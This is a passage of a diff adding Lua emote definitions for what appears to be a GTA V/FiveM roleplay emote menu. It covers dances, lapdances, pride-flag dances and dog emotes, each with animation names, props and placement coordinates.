+ "dixn_idle_cntr_b_dix",
+ "DJ 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj7"] = {
+ "anim@amb@nightclub@djs@dixon@",
+ "dixn_idle_cntr_g_dix",
+ "DJ 7",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj8"] = {
+ "anim@amb@nightclub@djs@dixon@",
+ "dixn_idle_cntr_gb_dix",
+ "DJ 8",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj9"] = {
+ "anim@amb@nightclub@djs@dixon@",
+ "dixn_sync_cntr_j_dix",
+ "DJ 9",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["twerk"] = {
+ "switch@trevor@mocks_lapdance",
+ "001443_01_trvs_28_idle_stripper",
+ "Twerk",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdance"] = {
+ "mp_safehouse",
+ "lap_dance_girl",
+ "Lapdance"
+ },
+ ["lapdance2"] = {
+ "mini@strip_club@private_dance@idle",
+ "priv_dance_idle",
+ "Lapdance 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdance3"] = {
+ "mini@strip_club@private_dance@part1",
+ "priv_dance_p1",
+ "Lapdance 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdance4"] = {
+ "mini@strip_club@private_dance@part2",
+ "priv_dance_p2",
+ "Lapdance 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdance5"] = {
+ "mini@strip_club@private_dance@part3",
+ "priv_dance_p3",
+ "Lapdance 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdance6"] = {
+ "oddjobs@assassinate@multi@yachttarget@lapdance",
+ "yacht_ld_f",
+ "Lapdance 6",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdancewith"] = {
+ "mini@strip_club@lap_dance_2g@ld_2g_p3",
+ "ld_2g_p3_s2",
+ "Lapdance With",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdancewith2"] = {
+ "mini@strip_club@lap_dance_2g@ld_2g_p2",
+ "ld_2g_p2_s2",
+ "Lapdance With2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapdancewith3"] = {
+ "mini@strip_club@lap_dance_2g@ld_2g_p1",
+ "ld_2g_p1_s2",
+ "Lapdance With3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapchair"] = {
+ "mini@strip_club@lap_dance@ld_girl_a_song_a_p1",
+ "ld_girl_a_song_a_p1_f",
+ "Lap Chair",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapchair2"] = {
+ "mini@strip_club@lap_dance@ld_girl_a_song_a_p2",
+ "ld_girl_a_song_a_p2_f",
+ "Lap Chair2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["lapchair3"] = {
+ "mini@strip_club@lap_dance@ld_girl_a_song_a_p3",
+ "ld_girl_a_song_a_p3_f",
+ "Lap Chair3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["salsa"] = {
+ "anim@mp_player_intuppersalsa_roll",
+ "idle_a",
+ "Salso Roll",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancecrankdat"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@shuffle@",
+ "high_right_up",
+ "Dance Crank Dat",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancecrankdat2"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@shuffle@",
+ "high_right_down",
+ "Dance Crank Dat 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancemonkey"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@techno_monkey@",
+ "high_center",
+ "Monkey Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancemonkey2"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@techno_monkey@",
+ "high_center_down",
+ "Monkey Dance 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancemonkey3"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@techno_monkey@",
+ "med_center_down",
+ "Monkey Dance 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["boxdance"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@beach_boxing@",
+ "med_right_down",
+ "Boxing Dance Solo",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancehiphop"] = {
+ "anim@amb@nightclub@mini@dance@dance_paired@dance_d@",
+ "ped_a_dance_idle",
+ "Hip Hop Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancehiphop2"] = {
+ "anim@amb@nightclub@mini@dance@dance_paired@dance_b@",
+ "ped_a_dance_idle",
+ "Hip Hop Dance 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancehiphop3"] = {
+ "anim@amb@nightclub@mini@dance@dance_paired@dance_a@",
+ "ped_a_dance_idle",
+ "Hip Hop Dance 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancedrill"] = {
+ "sdrill@animation",
+ "sdrill_clip",
+ "Drill Dance",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancepride"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride A",
+ AnimationOptions = {
+ Prop = 'lilprideflag1', --- Rainbow
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag1',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["danceprideb"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride B - LGBTQIA",
+ AnimationOptions = {
+ Prop = 'lilprideflag2', -- LGBTQIA
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag2',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancepridea"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride A - Bisexual",
+ AnimationOptions = {
+ Prop = 'lilprideflag3', -- Bisexual
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag3',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancepridec"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride C - Lesbian",
+ AnimationOptions = {
+ Prop = 'lilprideflag4', -- Lesbian
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag4',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["danceprided"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride D - Pansexual",
+ AnimationOptions = {
+ Prop = 'lilprideflag5', -- Pansexual
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag5',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancepridee"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride E - Transgender",
+ AnimationOptions = {
+ Prop = 'lilprideflag6', -- Transgender
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag6',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancepridef"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride F - Non Binary",
+ AnimationOptions = {
+ Prop = 'lilprideflag7', -- Lesbian
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag7',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["danceprideg"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride G - Asexual",
+ AnimationOptions = {
+ Prop = 'lilprideflag8', -- Asexual
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag8',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["danceprideh"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Pride H - Straight Ally",
+ AnimationOptions = {
+ Prop = 'lilprideflag9', -- Straight Ally
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0900,
+ 0.0000,
+ 0.0300,
+ -39.911,
+ 93.9166,
+ -5.8062
+ },
+ SecondProp = 'lilprideflag9',
+ SecondPropBone = 57005,
+ SecondPropPlacement = {
+ 0.0900,
+ -0.0200,
+ -0.0300,
+ -90.2454,
+ 5.7068,
+ -28.7797
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+}
+
+
+---- ANIMAL EMOTES ----
+---- BIG DOG ----
+
+RP.AnimalEmotes = {
+ ["bdogbark"] = {
+ "creatures@rottweiler@amb@world_dog_barking@idle_a",
+ "idle_a",
+ "Bark (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdogindicateahead"] = {
+ "creatures@rottweiler@indication@",
+ "indicate_ahead",
+ "Indicate Ahead (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdogindicatehigh"] = {
+ "creatures@rottweiler@indication@",
+ "indicate_high",
+ "Indicate High (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdogindicatelow"] = {
+ "creatures@rottweiler@indication@",
+ "indicate_low",
+ "Indicate Low (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdogbeg"] = {
+ "creatures@rottweiler@tricks@",
+ "beg_loop",
+ "Beg (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdogbeg2"] = {
+ "creatures@rottweiler@tricks@",
+ "paw_right_loop",
+ "Beg 2 (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdoglayright"] = {
+ "creatures@rottweiler@move",
+ "dead_right",
+ "Lay Right (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdoglayleft"] = {
+ "creatures@rottweiler@move",
+ "dead_left",
+ "Lay Left (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdogsitcar"] = {
+ "creatures@rottweiler@incar@",
+ "sit",
+ "Sit in car (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["bdogfhump"] = {
+ "creatures@rottweiler@amb@",
+ "hump_loop_ladydog",
+ "Female Hump (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ },
+ AdultAnimation = true,
+ AnimalEmote = true
+ },
+ ["bdogmhump"] = {
+ "creatures@rottweiler@amb@",
+ "hump_loop_chop",
+ "Male Hump (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ },
+ AdultAnimation = true,
+ AnimalEmote = true
+ },
+ ["bdogshit"] = {
+ "creatures@rottweiler@move",
+ "dump_loop",
+ "Shit (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_poo",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ 0.10,
+ -0.08,
+ 0.0,
+ 0.0,
+ 90.0,
+ 180.0,
+ 1.0
+ },
+ PtfxInfo = Translate('poop'),
+ PtfxWait = 0,
+ PtfxCanHold = true
+ }
+ },
+ ["bdogitch"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@idle_a",
+ "idle_a",
+ "Itch (big dog)",
+ AnimationOptions = {
+ EmoteDuration = 2000
+ }
+ },
+ ["bdogsleep"] = {
+ "creatures@rottweiler@amb@sleep_in_kennel@",
+ "sleep_in_kennel",
+ "Sleep (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "bdogupk",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogsit"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogpee"] = {
+ "creatures@rottweiler@move",
+ "pee_left_idle",
+ "Pee (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_peeing",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ -0.15,
+ -0.35,
+ 0.0,
+ 0.0,
+ 90.0,
+ 180.0,
+ 1.0
+ },
+ PtfxInfo = Translate('pee'),
+ PtfxWait = 0,
+ PtfxCanHold = true
+ }
+ },
+ ["bdogpee2"] = {
+ "creatures@rottweiler@move",
+ "pee_right_idle",
+ "Pee 2 (big dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ PtfxAsset = "scr_amb_chop",
+ PtfxName = "ent_anim_dog_peeing",
+ PtfxNoProp = true,
+ PtfxPlacement = {
+ 0.15,
+ -0.35,
+ 0.0,
+ 0.0,
+ 90.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('pee'),
+ PtfxWait = 0,
+ PtfxCanHold = true
+ }
+ },
+ ["bdogglowa"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "nill",
+ "Glow Stick (big dog)",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_glowstick_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.2000,
+ 0.000,
+ -0.0600,
+ 90.00,
+ 0.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bdogglowb"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Glow Stick Sitting (big dog)",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_glowstick_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.2000,
+ 0.000,
+ -0.0600,
+ 90.00,
+ 0.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogpridea"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride A (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag1', -- Rainbow
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag1',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogprideb"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride B - LGBTQIA (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag2', -- LGBTQIA
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag2',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogpridec"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride C - Bisexual (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag3', -- Bisexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag3',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogprided"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride D - Lesbian (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag4', -- Lesbian
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag4',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogpridee"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride E - Pansexual (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag5', -- Pansexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag5',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogpridef"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride F - Transgender (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag6', -- Transgender
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag6',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogprideg"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride G - Non Binary (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag7', -- Non Binary
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag7',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogprideh"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride H - Asexual (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag8', -- Asexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag8',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogpridei"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "base",
+ "Sit Pride I - Straight Ally (big dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag9', -- Straight Ally
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1900,
+ 0.0000,
+ -0.0500,
+ 100.0000,
+ 90.0000,
+ 0.0000
+ },
+ SecondProp = 'lilprideflag9',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.1940,
+ 0.020,
+ -0.0500,
+ -90.0000,
+ -90.0000,
+ 0.0000
+ },
+ EmoteLoop = true,
+ ExitEmote = "bdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bdogfw"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "nill",
+ "Firework - Big Dog",
+ AnimationOptions = {
+ Prop = 'ind_prop_firework_01', --- blue, green, red, purple pink, cyan, yellow, white
+ PtfxColor = {{R = 255, G = 0, B = 0, A = 1.0}, {R = 0, G = 255, B = 0, A = 1.0}, {R = 0, G = 0, B = 255, A = 1.0}, {R = 177, G = 5, B = 245, A = 1.0}, {R = 251, G = 3, B = 255, A = 1.0}, {R = 2, G = 238, B = 250, A = 1.0}, {R = 252, G = 248, B = 0, A = 1.0}, {R = 245, G = 245, B = 245, A = 1.0}},
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1400,
+ 0.3300,
+ -0.0800,
+ -85.6060,
+ -176.7400,
+ -9.8767
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_indep_fireworks",
+ PtfxName = "scr_indep_firework_trail_spawn",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.6
+ },
+ PtfxInfo = Translate('firework'),
+ PtfxWait = 200
+ }
+ },
+ ["bdogfris"] = {
+ "creatures@rottweiler@amb@world_dog_sitting@base",
+ "nill",
+ "Frisbee (big dog)",
+ AnimationOptions = {
+ Prop = 'p_ld_frisbee_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.2600,
+ 0.0200,
+ -0.0600,
+ -173.7526,
+ -169.4149,
+ 21.4173
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+
+ ---- ANIMAL EMOTES ----
+ ---- SMALL DOG ----
+
+ ["sdogbark"] = {
+ "creatures@pug@amb@world_dog_barking@idle_a",
+ "idle_a",
+ "Bark (small dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["sdogitch"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_a",
+ "Itch (small dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogsit"] = {
+ "creatures@pug@amb@world_dog_sitting@idle_a",
+ "idle_b",
+ "Sit (small dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogld"] = {
+ "misssnowie@little_doggy_lying_down",
+ "base",
+ "Lay Down (small dog)",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "sdogup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sdogshake"] = {
+ "creatures@pug@amb@world_dog_barking@idle_a",
+ "idle_c",
+ "Shake (small dog)",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["sdogdance"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance (small dog)",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_glowstick_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdance2"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance 2 (small dog)",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_glowstick_01',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1500,
+ -0.0300,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdancepridea"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride A (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag1',
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdanceprideb"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride B - LGBTQIA (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag2', -- LGBTQIA
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdancepridec"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride C - Bisexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag3', -- Bisexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdanceprided"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride D - Lesbian (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag4', -- Lesbian
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
+ -0.0080,
+ 0.000,
+ 0.0,
+ 0.0,
+ -74.6999
+ },
+ SecondProp = 'prop_cs_sol_glasses',
+ SecondPropBone = 31086,
+ SecondPropPlacement = {
+ 0.0500,
+ 0.0300,
+ 0.000,
+ -100.0000003,
+ 90.00,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sdogdancepridee"] = {
+ "creatures@pug@move",
+ "idle_turn_0",
+ "Dance Pride E - Pansexual (small dog)",
+ AnimationOptions = {
+ Prop = 'lilprideflag5', -- Pansexual
+ PropBone = 31086,
+ PropPlacement = {
+ 0.1240,
